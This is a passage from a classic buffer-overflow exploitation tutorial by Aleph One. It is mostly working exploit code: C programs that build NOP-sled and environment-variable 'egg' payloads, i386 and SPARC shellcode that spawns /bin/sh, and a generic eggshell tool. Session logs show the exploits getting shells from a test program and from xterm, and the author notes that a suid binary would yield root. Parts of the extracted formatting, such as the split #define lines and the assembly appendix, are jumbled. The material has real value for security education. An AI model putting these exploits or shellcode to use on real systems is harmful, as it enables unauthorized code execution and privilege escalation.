"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}

A good selection for our buffer size is about 100 bytes more than the size of the buffer
we are trying to overflow. This will place our code at the end of the buffer we are
trying to overflow, giving a lot of space for the NOPs, but still overwriting the return
address with the address we guessed. The buffer we are trying to overflow is 512 bytes
long, so we'll use 612. Let's try to overflow our test program with our new exploit:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4

[aleph1]$ ./vulnerable $EGG

$

Whoa! First try! This change has improved our chances a hundredfold. Let's try it now
on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow
on the Xt library. For our example, we'll use xterm (all programs linked with the Xt
library are vulnerable). You must be running an X server and allow connections to it
from the localhost. Set your DISPLAY variable accordingly.
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
....
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: some arguments in previous message were lost
bash$

Eureka! Less than a dozen tries and we found the magic numbers. If xterm were
installed suid root this would now be a root shell.

Small Buffer Overflows

There will be times when the buffer you are trying to overflow is so small that either
the shellcode wont fit into it, and it will overwrite the return address with instructions
instead of the address of our code, or the number of NOPs you can pad the front of the
string with is so small that the chances of guessing their address is minuscule. To
obtain a shell from these programs we will have to go about it another way. This
particular approach only works when you have access to the program's environment
variables. What we will do is place our shellcode in an environment variable, and then
overflow the buffer with the address of this variable in memory. This method also
increases your changes of the exploit working as you can make the environment
variable holding the shell code as large as you want. The environment variables are
stored in the top of the stack when the program is started, any modification by setenv()

are then allocated elsewhere. The stack at the beginning then looks like this:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv>envp>

Our new program will take an extra variable, the size of the variable containing the
shellcode and NOPs. Our new exploit now looks like this:
exploit4.c
#include <stdlib.h>
#define
#define
#define
#define

DEFAULT_OFFSET
DEFAULT_BUFFER_SIZE
DEFAULT_EGG_SIZE
NOP

0
512
2048
0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize
= atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}

Lets try our new exploit with our vulnerable test program:
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$

Works like a charm. Now lets try it on xterm:

[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
... ...
Warning: some arguments in previous message were lost
$

On the first try! It has certainly increased our odds. Depending on how much
environment data the exploit program has compared with the program you are trying
to exploit the guessed address may be too low or too high. Experiment both with
positive and negative offsets.

Finding Buffer Overflows

As stated earlier, buffer overflows are the result of stuffing more information into a
buffer than it is meant to hold. Since C does not have any built-in bounds checking,
overflows often manifest themselves as writing past the end of a character array. The

standard C library provides a number of functions for copying or appending strings,

that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and
vsprintf(). These functions operate on null-terminated strings, and do not check for
overflow of the receiving string. gets() is a function that reads a line from stdin into a
buffer until either a terminating newline or EOF. It performs no checks for buffer
overflows. The scanf() family of functions can also be a problem if you are matching a
sequence of non-white-space characters (%s), or matching a non-empty sequence of
characters from a specified set (%[]), and the array pointed to by the char pointer, is
not large enough to accept the whole sequence of characters, and you have not defined
the optional maximum field width. If the target of any of these functions is a buffer of
static size, and its other argument was somehow derived from user input there is a
good posibility that you might be able to exploit a buffer overflow. Another usual
programming construct we find is the use of a while loop to read one character at a
time into a buffer from stdin or some file until the end of line, end of file, or some
other delimiter is reached. This type of construct usually uses one of these functions:
getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while
loop, such programs are easily exploited. To conclude, grep(1) is your friend. The
sources for free operating systems and their utilities is readily available. This fact
becomes quite interesting once you realize that many comercial operating systems
utilities where derived from the same sources as the free ones. Use the source d00d.

Appendix A - Shellcode for Different Operating

Systems/Architectures
i386/Linux

SPARC/Solaris

SPARC/SunOS

jmp
0x1f
popl
%esi
movl
%esi,0x8(%esi)
xorl
%eax,%eax
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
movb
$0xb,%al
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
xorl
%ebx,%ebx
movl
%ebx,%eax
inc
%eax
int
$0x80
call
-0x24
.string \"/bin/sh\"

sethi
or
sethi
and
add
xor
add
std
st
st
mov
ta
xor
mov
ta

sethi
or
sethi
and
add
xor
add
std
st
st
mov
mov
ta
xor
mov
ta

0xbd89a, %l6
%l6, 0x16e, %l6
0xbdcda, %l7
%sp, %sp, %o0
%sp, 8, %o1
%o2, %o2, %o2
%sp, 16, %sp
%l6, [%sp - 16]
%sp, [%sp - 8]
%g0, [%sp - 4]
0x3b, %g1
8
%o7, %o7, %o0
1, %g1
8

Appendix B - Generic Buffer Overflow Program

0xbd89a, %l6
%l6, 0x16e, %l6
0xbdcda, %l7
%sp, %sp, %o0
%sp, 8, %o1
%o2, %o2, %o2
%sp, 16, %sp
%l6, [%sp - 16]
%sp, [%sp - 8]
%g0, [%sp - 4]
0x3b, %g1
-0x1, %l5
%l5 + 1
%o7, %o7, %o0
1, %g1
%l5 + 1

shellcode.h
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE
1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE
4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE
4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif

eggshell.c
/*
* eggshell v1.0
*
* Aleph One / [email protected]

*/
#include
#include stdio.h
#include "shellcode.h"
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
#define DEFAULT_EGG_SIZE

0
512
2048

void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

addr_ptr = (long *) bof;

for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ]\n");
}

-eof-